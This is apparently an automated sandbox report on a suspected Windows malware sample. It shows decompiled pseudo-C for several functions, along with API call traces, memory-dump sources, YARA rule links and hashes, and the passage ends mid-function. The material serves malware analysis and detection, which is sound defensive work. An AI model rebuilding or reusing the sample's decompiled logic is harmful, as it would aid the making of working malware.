Uniqueness Score: -1.00%

Function 0344225B, Relevance: 7.7, APIs: 5, Instructions: 159
memoryCOMMON

Download Yara Rule

C-Code - Quality: 57%

			E0344225B(signed int __edx) {
				signed int _v8;
				long _v12;
				CHAR* _v16;
				long _v20;
				void* __edi;
				void* __esi;
				void* _t21;
				CHAR* _t22;
				CHAR* _t25;
				intOrPtr _t26;
				void* _t27;
				void* _t31;
				void* _t32;
				CHAR* _t36;
				CHAR* _t42;
				CHAR* _t43;
				CHAR* _t44;
				CHAR* _t46;
				void* _t49;
				void* _t51;
				CHAR* _t54;
				signed char _t56;
				intOrPtr _t58;
				signed int _t59;
				void* _t62;
				CHAR* _t65;
				CHAR* _t66;
				char* _t67;
				void* _t68;

				_t61 = __edx;
				_v20 = 0;
				_v8 = 0;
				_v12 = 0;
				_t21 = E0344550E();
				if(_t21 != 0) {
					_t59 =  *0x344d25c; // 0x4000000a
					_t55 = (_t59 & 0xf0000000) + _t21;
					 *0x344d25c = (_t59 & 0xf0000000) + _t21;
				}
				_t22 =  *0x344d164(0, 2);
				_v16 = _t22;
				if(_t22 == 0 || _t22 == 1 || _t22 == 0x80010106) {
					_t25 = E03443D0D( &_v8,  &_v20); // executed
					_t54 = _t25;
					_t26 =  *0x344d27c; // 0x262a5a8
					if( *0x344d25c > 5) {
						_t8 = _t26 + 0x344e5cd; // 0x4d283a53
						_t27 = _t8;
					} else {
						_t7 = _t26 + 0x344ea15; // 0x44283a44
						_t27 = _t7;
					}
					E03441BF4(_t27, _t27);
					_t31 = E03441B2F(_t61,  &_v20,  &_v12); // executed
					if(_t31 == 0) {
						CloseHandle(_v20);
					}
					_t62 = 5;
					if(_t54 != _t62) {
						 *0x344d270 =  *0x344d270 ^ 0x81bbe65d;
						_t32 = E03442049(0x60);
						__eflags = _t32;
						 *0x344d32c = _t32;
						if(_t32 == 0) {
							_push(8);
							_pop(0);
						} else {
							memset(_t32, 0, 0x60);
							_t49 =  *0x344d32c; // 0x5a795b0
							_t68 = _t68 + 0xc;
							__imp__(_t49 + 0x40);
							_t51 =  *0x344d32c; // 0x5a795b0
							 *_t51 = 0x344e836;
						}
						__eflags = 0;
						_t54 = 0;
						if(0 == 0) {
							_t36 = RtlAllocateHeap( *0x344d238, 0, 0x43);
							__eflags = _t36;
							 *0x344d2c4 = _t36;
							if(_t36 == 0) {
								_push(8);
								_pop(0);
							} else {
								_t56 =  *0x344d25c; // 0x4000000a
								_t61 = _t56 & 0x000000ff;
								_t58 =  *0x344d27c; // 0x262a5a8
								_t13 = _t58 + 0x344e55a; // 0x697a6f4d
								_t55 = _t13;
								wsprintfA(_t36, _t13, _t56 & 0x000000ff, _t56 & 0x000000ff, 0x344c2a7);
							}
							__eflags = 0;
							_t54 = 0;
							if(0 == 0) {
								asm("sbb eax, eax");
								E0344269C( ~_v8 &  *0x344d270, 0x344d00c); // executed
								_t42 = E03444094(_t55); // executed
								_t54 = _t42;
								__eflags = _t54;
								if(_t54 != 0) {
									goto L30;
								}
								_t43 = E034496A4(_t55); // executed
								__eflags = _t43;
								if(_t43 != 0) {
									__eflags = _v8;
									_t65 = _v12;
									if(_v8 != 0) {
										L29:
										_t44 = E03446786(_t61, _t65, _v8); // executed
										_t54 = _t44;
										goto L30;
									}
									__eflags = _t65;
									if(__eflags == 0) {
										goto L30;
									}
									_t46 = E03443DD9(__eflags,  &(_t65[4])); // executed
									_t54 = _t46;
									__eflags = _t54;
									if(_t54 == 0) {
										goto L30;
									}
									goto L29;
								}
								_t54 = 8;
							}
						}
					} else {
						_t66 = _v12;
						if(_t66 == 0) {
							L30:
							if(_v16 == 0 || _v16 == 1) {
								 *0x344d160();
							}
							goto L34;
						}
						_t67 =  &(_t66[4]);
						do {
						} while (E0344A501(_t62, _t67, 0, 1) == 0x4c7);
					}
					goto L30;
				} else {
					_t54 = _t22;
					L34:
					return _t54;
				}
			}

0x0344225b
0x03442266
0x03442269
0x0344226c
0x0344226f
0x03442276
0x03442278
0x03442284
0x03442286
0x03442286
0x0344228f
0x03442297
0x0344229a
0x034422b4
0x034422c0
0x034422c2
0x034422c7
0x034422d1
0x034422d1
0x034422c9
0x034422c9
0x034422c9
0x034422c9
0x034422d8
0x034422e5
0x034422ec
0x034422f1
0x034422f1
0x034422f9
0x034422fc
0x03442322
0x0344232e
0x03442333
0x03442335
0x0344233a
0x03442366
0x03442368
0x0344233c
0x03442340
0x03442345
0x0344234a
0x03442351
0x03442357
0x0344235c
0x03442362
0x03442369
0x0344236b
0x0344236d
0x0344237c
0x03442382
0x03442384
0x03442389
0x034423b9
0x034423bb
0x0344238b
0x0344238b
0x03442391
0x0344239e
0x034423a4
0x034423a4
0x034423ac
0x034423b5
0x034423bc
0x034423be
0x034423c0
0x034423c7
0x034423d4
0x034423d9
0x034423de
0x034423e0
0x034423e2
0x00000000
0x00000000
0x034423e4
0x034423e9
0x034423eb
0x034423f2
0x034423f6
0x034423f9
0x0344240e
0x03442412
0x03442417
0x00000000
0x03442417
0x034423fb
0x034423fd
0x00000000
0x00000000
0x03442403
0x03442408
0x0344240a
0x0344240c
0x00000000
0x00000000
0x00000000
0x0344240c
0x034423ef
0x034423ef
0x034423c0
0x034422fe
0x034422fe
0x03442303
0x03442419
0x0344241d
0x03442425
0x03442425
0x00000000
0x0344241d
0x03442309
0x0344230c
0x03442316
0x0344231d
0x00000000
0x0344242d
0x0344242d
0x03442431
0x03442435
0x03442435

APIs

Part of subcall function 0344550E: GetModuleHandleA.KERNEL32(4C44544E,00000000,03442274,00000000,00000000), ref: 0344551D

CloseHandle.KERNEL32(?,?,?,4D283A53,?,?), ref: 034422F1

Part of subcall function 03442049: RtlAllocateHeap.NTDLL(00000000,00000000,03447E50), ref: 03442055

memset.NTDLL ref: 03442340
RtlInitializeCriticalSection.NTDLL(05A79570), ref: 03442351

Part of subcall function 03443DD9: memset.NTDLL ref: 03443DEE
Part of subcall function 03443DD9: lstrlenW.KERNEL32(00000000,00410025,00000005,?,00000000), ref: 03443E22
Part of subcall function 03443DD9: StrCmpNIW.KERNELBASE(00000000,00000000,00000000), ref: 03443E2D

RtlAllocateHeap.NTDLL(00000000,00000043,00000060), ref: 0344237C
wsprintfA.USER32 ref: 034423AC

Memory Dump Source

Source File: 00000003.00000002.493810566.0000000003441000.00000020.00000001.sdmp, Offset: 03440000, based on PE: true

Associated: 00000003.00000002.493785661.0000000003440000.00000004.00000001.sdmp Download File
Associated: 00000003.00000002.493848114.000000000344C000.00000002.00000001.sdmp Download File
Associated: 00000003.00000002.493863050.000000000344D000.00000004.00000001.sdmp Download File
Associated: 00000003.00000002.493880197.000000000344F000.00000002.00000001.sdmp Download File

Similarity

API ID: AllocateHandleHeapmemset$CloseCriticalInitializeModuleSectionlstrlenwsprintf
String ID:
API String ID: 4246211962-0
Opcode ID: 1a130dde4721f3010c51a17ef25969b04cb2e3d2448e474186a2428bac292dab
Instruction ID: 0e19e2e4910fc7b44e05b3e212fc8b8b65fdad781681e15d33690e1d77947488
Opcode Fuzzy Hash: 1a130dde4721f3010c51a17ef25969b04cb2e3d2448e474186a2428bac292dab
Instruction Fuzzy Hash: 4F51A479E00215ABEB21EBE5E844A6F77F8BB05604F08487BF501EF245E7B499448B58

Uniqueness

Uniqueness Score: -1.00%

Function 03443AEF, Relevance: 6.1, APIs: 4, Instructions: 98memoryCOMMON

Download Yara Rule

APIs

SysAllocString.OLEAUT32(80000002), ref: 03443B46
SysAllocString.OLEAUT32(03441885), ref: 03443B89
SysFreeString.OLEAUT32(00000000), ref: 03443B9D
SysFreeString.OLEAUT32(00000000), ref: 03443BAB

Memory Dump Source

Source File: 00000003.00000002.493810566.0000000003441000.00000020.00000001.sdmp, Offset: 03440000, based on PE: true

Associated: 00000003.00000002.493785661.0000000003440000.00000004.00000001.sdmp Download File
Associated: 00000003.00000002.493848114.000000000344C000.00000002.00000001.sdmp Download File
Associated: 00000003.00000002.493863050.000000000344D000.00000004.00000001.sdmp Download File
Associated: 00000003.00000002.493880197.000000000344F000.00000002.00000001.sdmp Download File

Similarity

API ID: String$AllocFree
String ID:
API String ID: 344208780-0
Opcode ID: 22431d90d511b8703e44af59230f62cca8a11b80d5404fe27ef15ef7d7c9d5af
Instruction ID: 1609dfb6c609cec0484f147ffe8f7538e5831df97dbb517116fd4c7ab55ed390
Opcode Fuzzy Hash: 22431d90d511b8703e44af59230f62cca8a11b80d5404fe27ef15ef7d7c9d5af
Instruction Fuzzy Hash: 69316DB9900149EFDB01DF98C4C08AEBBB8FF48300B14847EF50AAB201D7319695CF65

Uniqueness

Uniqueness Score: -1.00%

Function 03441A70, Relevance: 6.1, APIs: 4, Instructions: 76
sleepstringCOMMON

Download Yara Rule

C-Code - Quality: 78%

			E03441A70(intOrPtr* __eax, void** _a4, intOrPtr* _a8) {
				intOrPtr _v8;
				void* _v12;
				void* _v16;
				intOrPtr _t26;
				intOrPtr* _t28;
				intOrPtr _t31;
				intOrPtr* _t32;
				void* _t39;
				int _t46;
				intOrPtr* _t47;
				int _t48;

				_t47 = __eax;
				_push( &_v12);
				_push(__eax);
				_t39 = 0;
				_t46 = 0; // executed
				_t26 =  *((intOrPtr*)( *__eax + 0x24))();
				_v8 = _t26;
				if(_t26 < 0) {
					L13:
					return _v8;
				}
				if(_v12 == 0) {
					Sleep(0xc8);
					_v8 =  *((intOrPtr*)( *_t47 + 0x24))(_t47,  &_v12);
				}
				if(_v8 >= _t39) {
					_t28 = _v12;
					if(_t28 != 0) {
						_t31 =  *((intOrPtr*)( *_t28 + 0x100))(_t28,  &_v16);
						_v8 = _t31;
						if(_t31 >= 0) {
							_t46 = lstrlenW(_v16);
							if(_t46 != 0) {
								_t46 = _t46 + 1;
								_t48 = _t46 + _t46;
								_t39 = E03442049(_t48);
								if(_t39 == 0) {
									_v8 = 0x8007000e;
								} else {
									memcpy(_t39, _v16, _t48);
								}
								__imp__#6(_v16);
							}
						}
						_t32 = _v12;
						 *((intOrPtr*)( *_t32 + 8))(_t32);
					}
					 *_a4 = _t39;
					 *_a8 = _t46 + _t46;
				}
				goto L13;
			}

0x03441a7c
0x03441a80
0x03441a81
0x03441a82
0x03441a84
0x03441a86
0x03441a8b
0x03441a8e
0x03441b25
0x03441b2c
0x03441b2c
0x03441a97
0x03441a9e
0x03441aae
0x03441aae
0x03441ab4
0x03441ab6
0x03441abb
0x03441ac4
0x03441acc
0x03441acf
0x03441ada
0x03441ade
0x03441ae0
0x03441ae1
0x03441aea
0x03441aee
0x03441aff
0x03441af0
0x03441af5
0x03441afa
0x03441b09
0x03441b09
0x03441ade
0x03441b0f
0x03441b15
0x03441b15
0x03441b1e
0x03441b23
0x03441b23
0x00000000

APIs

Sleep.KERNEL32(000000C8), ref: 03441A9E
lstrlenW.KERNEL32(?), ref: 03441AD4
memcpy.NTDLL(00000000,?,?,?), ref: 03441AF5
SysFreeString.OLEAUT32(?), ref: 03441B09

Memory Dump Source

Source File: 00000003.00000002.493810566.0000000003441000.00000020.00000001.sdmp, Offset: 03440000, based on PE: true

Associated: 00000003.00000002.493785661.0000000003440000.00000004.00000001.sdmp Download File
Associated: 00000003.00000002.493848114.000000000344C000.00000002.00000001.sdmp Download File
Associated: 00000003.00000002.493863050.000000000344D000.00000004.00000001.sdmp Download File
Associated: 00000003.00000002.493880197.000000000344F000.00000002.00000001.sdmp Download File

Similarity

API ID: FreeSleepStringlstrlenmemcpy
String ID:
API String ID: 1198164300-0
Opcode ID: 33af90d244aa3b39ae2f7e9816fdf328d81ce67cbbaa0640615a62ceb729dcda
Instruction ID: 6fea6c1ad38de5db508cc0d69eeba35d8037b34eddd6b84c5c48687986c8f53c
Opcode Fuzzy Hash: 33af90d244aa3b39ae2f7e9816fdf328d81ce67cbbaa0640615a62ceb729dcda
Instruction Fuzzy Hash: 6E216279A01209FFDB10DFA5D88499EBBB9FF49201B1481BAE905EB214E7309A44CB54

Uniqueness

Uniqueness Score: -1.00%

Function 034494A9, Relevance: 6.1, APIs: 4, Instructions: 59
COMMON

Download Yara Rule

C-Code - Quality: 53%

			E034494A9(char* __eax) {
				char* _t8;
				intOrPtr _t12;
				char* _t21;
				signed int _t23;
				char* _t24;
				signed int _t26;
				void* _t27;

				_t21 = __eax;
				_push(0x20);
				_t23 = 1;
				_push(__eax);
				while(1) {
					_t8 = StrChrA();
					if(_t8 == 0) {
						break;
					}
					_t23 = _t23 + 1;
					_push(0x20);
					_push( &(_t8[1]));
				}
				_t12 = E03442049(_t23 << 2);
				 *((intOrPtr*)(_t27 + 0x10)) = _t12;
				if(_t12 != 0) {
					StrTrimA(_t21, 0x344c2a4); // executed
					_t26 = 0;
					do {
						_t24 = StrChrA(_t21, 0x20);
						if(_t24 != 0) {
							 *_t24 = 0;
							_t24 =  &(_t24[1]);
							StrTrimA(_t24, 0x344c2a4);
						}
						 *( *((intOrPtr*)(_t27 + 0x10)) + _t26 * 4) = _t21;
						_t26 = _t26 + 1;
						_t21 = _t24;
					} while (_t24 != 0);
					 *((intOrPtr*)( *((intOrPtr*)(_t27 + 0x18)))) =  *((intOrPtr*)(_t27 + 0x10));
				}
				return 0;
			}

0x034494b4
0x034494b8
0x034494ba
0x034494bb
0x034494c3
0x034494c3
0x034494c7
0x00000000
0x00000000
0x034494be
0x034494bf
0x034494c2
0x034494c2
0x034494cf
0x034494d6
0x034494da
0x034494e2
0x034494e8
0x034494ea
0x034494ef
0x034494f3
0x034494f5
0x034494f8
0x034494ff
0x034494ff
0x03449509
0x0344950c
0x0344950f
0x0344950f
0x0344951b
0x0344951b
0x03449528

APIs

StrChrA.SHLWAPI(?,00000020,00000000,05A795AC,?,034423DE,?,03447634,05A795AC,?,034423DE), ref: 034494C3
StrTrimA.KERNELBASE(?,0344C2A4,00000002,?,034423DE,?,03447634,05A795AC,?,034423DE), ref: 034494E2
StrChrA.SHLWAPI(?,00000020,?,034423DE,?,03447634,05A795AC,?,034423DE), ref: 034494ED
StrTrimA.SHLWAPI(00000001,0344C2A4,?,034423DE,?,03447634,05A795AC,?,034423DE), ref: 034494FF

Memory Dump Source

Source File: 00000003.00000002.493810566.0000000003441000.00000020.00000001.sdmp, Offset: 03440000, based on PE: true

Associated: 00000003.00000002.493785661.0000000003440000.00000004.00000001.sdmp Download File
Associated: 00000003.00000002.493848114.000000000344C000.00000002.00000001.sdmp Download File
Associated: 00000003.00000002.493863050.000000000344D000.00000004.00000001.sdmp Download File
Associated: 00000003.00000002.493880197.000000000344F000.00000002.00000001.sdmp Download File

Similarity

API ID: Trim
String ID:
API String ID: 3043112668-0
Opcode ID: 35c8e4267fac991ab287d438176859dd9e60292339463464f0caf7a4bfe12500
Instruction ID: 6c5fe0437771625ee30edfb0e2f05f416c90f98c1d273517a4a3db49d1558dd7
Opcode Fuzzy Hash: 35c8e4267fac991ab287d438176859dd9e60292339463464f0caf7a4bfe12500
Instruction Fuzzy Hash: CA01B971A053216FE231DF55DC49F2BBADCEB46650F15053AF951DF341DB60C80196A4

Uniqueness

Uniqueness Score: -1.00%

Function 034473FD, Relevance: 4.6, APIs: 3, Instructions: 94
memoryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E034473FD(void* __edx) {
				void* _v8;
				int _v12;
				WCHAR* _v16;
				void* __esi;
				void* _t23;
				intOrPtr _t24;
				void* _t26;
				intOrPtr _t32;
				intOrPtr _t35;
				void* _t37;
				intOrPtr _t38;
				intOrPtr _t42;
				void* _t45;
				void* _t50;
				void* _t55;

				_t50 = __edx;
				_v12 = 0;
				_t23 = E0344A72D(0,  &_v8); // executed
				if(_t23 != 0) {
					_v8 = 0;
				}
				_t24 =  *0x344d27c; // 0x262a5a8
				_t4 = _t24 + 0x344ede0; // 0x5a79388
				_t5 = _t24 + 0x344ed88; // 0x4f0053
				_t26 = E03441262( &_v16, _v8, _t5, _t4); // executed
				_t45 = _t26;
				if(_t45 == 0) {
					StrToIntExW(_v16, 0,  &_v12);
					_t45 = 8;
					if(_v12 < _t45) {
						_t45 = 1;
						__eflags = 1;
					} else {
						_t32 =  *0x344d27c; // 0x262a5a8
						_t11 = _t32 + 0x344edd4; // 0x5a7937c
						_t48 = _t11;
						_t12 = _t32 + 0x344ed88; // 0x4f0053
						_t55 = E03447CB8(_t11, _t12, _t11);
						_t59 = _t55;
						if(_t55 != 0) {
							_t35 =  *0x344d27c; // 0x262a5a8
							_t13 = _t35 + 0x344ee1e; // 0x30314549
							_t37 = E034489D6(_t48, _t50, _t59, _v8, _t55, _t13, 0x14); // executed
							if(_t37 == 0) {
								_t61 =  *0x344d25c - 6;
								if( *0x344d25c <= 6) {
									_t42 =  *0x344d27c; // 0x262a5a8
									_t15 = _t42 + 0x344ec2a; // 0x52384549
									E034489D6(_t48, _t50, _t61, _v8, _t55, _t15, 0x13);
								}
							}
							_t38 =  *0x344d27c; // 0x262a5a8
							_t17 = _t38 + 0x344ee18; // 0x5a793c0
							_t18 = _t38 + 0x344edf0; // 0x680043
							_t45 = E03442659(_v8, 0x80000001, _t55, _t18, _t17);
							HeapFree( *0x344d238, 0, _t55);
						}
					}
					HeapFree( *0x344d238, 0, _v16);
				}
				_t54 = _v8;
				if(_v8 != 0) {
					E03441F99(_t54);
				}
				return _t45;
			}

0x034473fd
0x0344740d
0x03447410
0x03447417
0x03447419
0x03447419
0x0344741c
0x03447421
0x03447428
0x03447435
0x0344743a
0x0344743e
0x0344744c
0x0344745a
0x0344745e
0x034474ef
0x034474ef
0x03447464
0x03447464
0x03447469
0x03447469
0x03447470
0x0344747c
0x0344747e
0x03447480
0x03447482
0x03447489
0x03447494
0x0344749b
0x0344749d
0x034474a4
0x034474a6
0x034474ad
0x034474b8
0x034474b8
0x034474a4
0x034474bd
0x034474c2
0x034474c9
0x034474e7
0x034474e9
0x034474e9
0x03447480
0x034474fb
0x034474fb
0x034474fd
0x03447502
0x03447504
0x03447504
0x0344750f

APIs

StrToIntExW.SHLWAPI(?,00000000,?,?,004F0053,05A79388,00000000,?,76D7F710,00000000,76D7F730), ref: 0344744C
HeapFree.KERNEL32(00000000,00000000,?,80000001,00000000,00680043,05A793C0,?,00000000,30314549,00000014,004F0053,05A7937C), ref: 034474E9
HeapFree.KERNEL32(00000000,?,?,?,?,?,?,?,03446814), ref: 034474FB

Memory Dump Source

Source File: 00000003.00000002.493810566.0000000003441000.00000020.00000001.sdmp, Offset: 03440000, based on PE: true

Associated: 00000003.00000002.493785661.0000000003440000.00000004.00000001.sdmp Download File
Associated: 00000003.00000002.493848114.000000000344C000.00000002.00000001.sdmp Download File
Associated: 00000003.00000002.493863050.000000000344D000.00000004.00000001.sdmp Download File
Associated: 00000003.00000002.493880197.000000000344F000.00000002.00000001.sdmp Download File

Similarity

API ID: FreeHeap
String ID:
API String ID: 3298025750-0
Opcode ID: 7e77135284c529de973c59626772ed7bd1baa5c701ecee23c4833402f539d284
Instruction ID: 2a6d0c273314bad344e4740026fbea7ac258e883ba14d2257b1e1dc5db6db4b8
Opcode Fuzzy Hash: 7e77135284c529de973c59626772ed7bd1baa5c701ecee23c4833402f539d284
Instruction Fuzzy Hash: D731C1B5901209BFEB11EBA1EC84EAABFFCFB04200F140176F610AF121D7709A46DB54

Uniqueness

Uniqueness Score: -1.00%

Function 03448504, Relevance: 4.6, APIs: 3, Instructions: 76
memoryCOMMON

Download Yara Rule

C-Code - Quality: 54%

			E03448504(void* __ecx, char _a4, void** _a8, intOrPtr* _a12, intOrPtr* _a16, intOrPtr* _a20) {
				void* _v8;
				void* __edi;
				intOrPtr _t18;
				void* _t24;
				void* _t25;
				void* _t30;
				void* _t37;
				void* _t40;
				intOrPtr _t42;

				_t32 = __ecx;
				_push(__ecx);
				_push(__ecx);
				_t42 =  *0x344d340; // 0x5a79928
				_push(0x800);
				_push(0);
				_push( *0x344d238);
				if( *0x344d24c >= 5) {
					if(RtlAllocateHeap() == 0) {
						L6:
						_t30 = 8;
						L7:
						if(_t30 != 0) {
							L10:
							 *0x344d24c =  *0x344d24c + 1;
							L11:
							return _t30;
						}
						_t44 = _a4;
						_t40 = _v8;
						 *_a16 = _a4;
						 *_a20 = E03442496(_t44, _t40); // executed
						_t18 = E0344A66E(_t37, _t40, _t44); // executed
						if(_t18 != 0) {
							 *_a8 = _t40;
							 *_a12 = _t18;
							if( *0x344d24c < 5) {
								 *0x344d24c =  *0x344d24c & 0x00000000;
							}
							goto L11;
						}
						_t30 = 0xbf;
						E0344A1B0();
						RtlFreeHeap( *0x344d238, 0, _t40); // executed
						goto L10;
					}
					_t24 = E0344A279(_a4, _t32, _t37, _t42,  &_v8,  &_a4, _t13);
					L5:
					_t30 = _t24;
					goto L7;
				}
				_t25 = RtlAllocateHeap(); // executed
				if(_t25 == 0) {
					goto L6;
				}
				_t24 = E03448B94(_a4, _t32, _t37, _t42,  &_v8,  &_a4, _t25); // executed
				goto L5;
			}

0x03448504
0x03448507
0x03448508
0x03448512
0x03448519
0x0344851e
0x03448520
0x03448526
0x0344854e
0x03448566
0x03448568
0x03448569
0x0344856b
0x034485a9
0x034485a9
0x034485af
0x034485b5
0x034485b5
0x0344856d
0x03448573
0x03448576
0x03448585
0x03448587
0x0344858e
0x034485c2
0x034485c7
0x034485c9
0x034485cb
0x034485cb
0x00000000
0x034485c9
0x03448590
0x03448595
0x034485a3
0x00000000
0x034485a3
0x0344855d
0x03448562
0x03448562
0x00000000
0x03448562
0x03448528
0x03448530
0x00000000
0x00000000
0x0344853f
0x00000000

APIs

RtlAllocateHeap.NTDLL(00000000,00000800,76D7F710), ref: 03448528

Part of subcall function 03448B94: GetTickCount.KERNEL32 ref: 03448BA8
Part of subcall function 03448B94: wsprintfA.USER32 ref: 03448BF8
Part of subcall function 03448B94: wsprintfA.USER32 ref: 03448C15
Part of subcall function 03448B94: wsprintfA.USER32 ref: 03448C41
Part of subcall function 03448B94: HeapFree.KERNEL32(00000000,?), ref: 03448C53
Part of subcall function 03448B94: wsprintfA.USER32 ref: 03448C74
Part of subcall function 03448B94: HeapFree.KERNEL32(00000000,?), ref: 03448C84
Part of subcall function 03448B94: RtlAllocateHeap.NTDLL(00000000,00000800), ref: 03448CB2
Part of subcall function 03448B94: GetTickCount.KERNEL32 ref: 03448CC3

RtlAllocateHeap.NTDLL(00000000,00000800,76D7F710), ref: 03448546
RtlFreeHeap.NTDLL(00000000,00000002,0344685F,?,0344685F,00000002,?,?,03442417,?), ref: 034485A3

Memory Dump Source

Source File: 00000003.00000002.493810566.0000000003441000.00000020.00000001.sdmp, Offset: 03440000, based on PE: true

Associated: 00000003.00000002.493785661.0000000003440000.00000004.00000001.sdmp Download File
Associated: 00000003.00000002.493848114.000000000344C000.00000002.00000001.sdmp Download File
Associated: 00000003.00000002.493863050.000000000344D000.00000004.00000001.sdmp Download File
Associated: 00000003.00000002.493880197.000000000344F000.00000002.00000001.sdmp Download File

Similarity

API ID: Heap$wsprintf$AllocateFree$CountTick
String ID:
API String ID: 1676223858-0
Opcode ID: d7b42d7da54603e74e45f4c7c97060e084548f8d8f08c4f94de78529779b814e
Instruction ID: 8082b8620ff776ef08ca15d4deb42d405bc96f4cde8b8805763c4259914f4011
Opcode Fuzzy Hash: d7b42d7da54603e74e45f4c7c97060e084548f8d8f08c4f94de78529779b814e
Instruction Fuzzy Hash: 24217C7A601204EFEB51EF99D880E9A37ECFB49340F04003BF901AF241DB71EA018BA5

Uniqueness

Uniqueness Score: -1.00%

Function 03443DD9, Relevance: 3.9, APIs: 3, Instructions: 155
stringCOMMON

Download Yara Rule

C-Code - Quality: 90%

			E03443DD9(void* __eflags, int _a4) {
				intOrPtr _v12;
				WCHAR* _v16;
				char* _v20;
				int _v24;
				void* _v36;
				char _v40;
				char _v68;
				char _v72;
				char _v76;
				char _v80;
				void _v84;
				char _v88;
				void* __ebx;
				void* __esi;
				intOrPtr _t40;
				int _t45;
				intOrPtr _t50;
				intOrPtr _t52;
				void* _t55;
				intOrPtr _t67;
				void* _t70;
				void* _t80;
				WCHAR* _t85;

				_v88 = 0;
				memset( &_v84, 0, 0x2c);
				_v40 = 0;
				asm("stosd");
				asm("stosd");
				asm("stosd");
				asm("stosd");
				asm("stosd");
				_t40 =  *0x344d27c; // 0x262a5a8
				_t5 = _t40 + 0x344ee40; // 0x410025
				_t85 = E03446A12(_t5);
				_v16 = _t85;
				if(_t85 == 0) {
					_t80 = 8;
					L24:
					return _t80;
				}
				_t45 = StrCmpNIW(_t85, _a4, lstrlenW(_t85)); // executed
				if(_t45 != 0) {
					_t80 = 1;
					L22:
					E03449039(_v16);
					goto L24;
				}
				if(E0344A72D(0,  &_a4) != 0) {
					_a4 = 0;
				}
				_t50 = E0344809F(0,  *0x344d33c);
				_v12 = _t50;
				if(_t50 == 0) {
					_t80 = 8;
					goto L19;
				} else {
					_t52 =  *0x344d27c; // 0x262a5a8
					_t11 = _t52 + 0x344e81a; // 0x65696c43
					_t55 = E0344809F(0, _t11);
					_t87 = _t55;
					if(_t55 == 0) {
						_t80 = 8;
					} else {
						_t80 = E03446BFA(_a4, 0x80000001, _v12, _t87,  &_v88,  &_v84);
						E03449039(_t87);
					}
					if(_t80 != 0) {
						L17:
						E03449039(_v12);
						L19:
						_t86 = _a4;
						if(_a4 != 0) {
							E03441F99(_t86);
						}
						goto L22;
					} else {
						if(( *0x344d260 & 0x00000001) == 0) {
							L14:
							E03448F83(_t80, _v88, _v84,  *0x344d270, 0);
							_t80 = E03441C74(_v88,  &_v80,  &_v76, 0);
							if(_t80 == 0) {
								_v24 = _a4;
								_v20 =  &_v88;
								_t80 = E034442EA( &_v40, 0);
							}
							E03449039(_v88);
							goto L17;
						}
						_t67 =  *0x344d27c; // 0x262a5a8
						_t18 = _t67 + 0x344e823; // 0x65696c43
						_t70 = E0344809F(0, _t18);
						_t89 = _t70;
						if(_t70 == 0) {
							_t80 = 8;
						} else {
							_t80 = E03446BFA(_a4, 0x80000001, _v12, _t89,  &_v72,  &_v68);
							E03449039(_t89);
						}
						if(_t80 != 0) {
							goto L17;
						} else {
							goto L14;
						}
					}
				}
			}

0x03443deb
0x03443dee
0x03443df5
0x03443dfb
0x03443dfc
0x03443dfd
0x03443dfe
0x03443dff
0x03443e00
0x03443e08
0x03443e14
0x03443e18
0x03443e1b
0x03443f6b
0x03443f6e
0x03443f72
0x03443f72
0x03443e2d
0x03443e35
0x03443f5e
0x03443f5f
0x03443f62
0x00000000
0x03443f62
0x03443e47
0x03443e49
0x03443e49
0x03443e54
0x03443e5b
0x03443e5e
0x03443f4d
0x00000000
0x03443e64
0x03443e64
0x03443e69
0x03443e72
0x03443e77
0x03443e80
0x03443ea3
0x03443e82
0x03443e98
0x03443e9a
0x03443e9a
0x03443ea6
0x03443f41
0x03443f44
0x03443f4e
0x03443f4e
0x03443f53
0x03443f55
0x03443f55
0x00000000
0x03443eac
0x03443eb3
0x03443ef4
0x03443f05
0x03443f1b
0x03443f1f
0x03443f24
0x03443f2a
0x03443f37
0x03443f37
0x03443f3c
0x00000000
0x03443f3c
0x03443eb5
0x03443eba
0x03443ec3
0x03443ec8
0x03443ecc
0x03443eef
0x03443ece
0x03443ee4
0x03443ee6
0x03443ee6
0x03443ef2
0x00000000
0x00000000
0x00000000
0x00000000
0x03443ef2
0x03443ea6

APIs

memset.NTDLL ref: 03443DEE

Part of subcall function 03446A12: ExpandEnvironmentStringsW.KERNEL32(00000000,00000000,00000000,?,?,00000000,03443E14,00410025,00000005,?,00000000), ref: 03446A23
Part of subcall function 03446A12: ExpandEnvironmentStringsW.KERNEL32(?,00000000,00000000,00000000), ref: 03446A40

lstrlenW.KERNEL32(00000000,00410025,00000005,?,00000000), ref: 03443E22
StrCmpNIW.KERNELBASE(00000000,00000000,00000000), ref: 03443E2D

Memory Dump Source

Source File: 00000003.00000002.493810566.0000000003441000.00000020.00000001.sdmp, Offset: 03440000, based on PE: true

Associated: 00000003.00000002.493785661.0000000003440000.00000004.00000001.sdmp Download File
Associated: 00000003.00000002.493848114.000000000344C000.00000002.00000001.sdmp Download File
Associated: 00000003.00000002.493863050.000000000344D000.00000004.00000001.sdmp Download File
Associated: 00000003.00000002.493880197.000000000344F000.00000002.00000001.sdmp Download File

Similarity

API ID: EnvironmentExpandStrings$lstrlenmemset
String ID:
API String ID: 3817122888-0
Opcode ID: c3f826974c8839b7f8a471a63c818d9af05ae5e5390f5880d13d4c0031f8f1a5
Instruction ID: 9366f431f17522c190a00ccebf4db3403437f07c6302048f426d93af650b8ce3
Opcode Fuzzy Hash: c3f826974c8839b7f8a471a63c818d9af05ae5e5390f5880d13d4c0031f8f1a5
Instruction Fuzzy Hash: 1F416079A01318AEEB21EFE5CC849EFBBBCAF09640B14413BE901EF211D771D9558798

Uniqueness

Uniqueness Score: -1.00%

Function 03396194, Relevance: 3.1, APIs: 2, Instructions: 112
memoryCOMMON

Download Yara Rule

C-Code - Quality: 75%

			E03396194(signed int __ebx, void* __ecx, signed int __edx, DWORD* __edi, long __esi, void* __eflags) {
				void* __ebp;
				void* _t44;
				long _t45;
				signed int _t49;
				int _t50;
				signed int _t51;
				void* _t55;
				long _t56;
				signed int _t59;
				signed int _t62;
				void* _t63;
				signed int _t64;
				signed int _t69;
				long _t72;
				signed int _t74;
				signed int _t76;
				DWORD* _t80;
				signed int _t83;
				void* _t84;
				signed int _t85;
				void* _t90;
				long _t94;
				void* _t97;
				void** _t99;
				void** _t100;

				_t92 = __esi;
				_t80 = __edi;
				_t69 = __edx;
				 *_t99 =  *_t99 + 0xffff0000;
				 *_t99 =  *_t99 - _t94;
				_t45 = E0339463F(_t44, __ebx, __ecx, __edi, __esi);
				_push(__ecx);
				_t62 = __ebx | __ebx;
				_t59 = _t62;
				_pop(_t63);
				if(_t62 != 0) {
					 *_t99 = 4;
					 *_t99 = 0x1000;
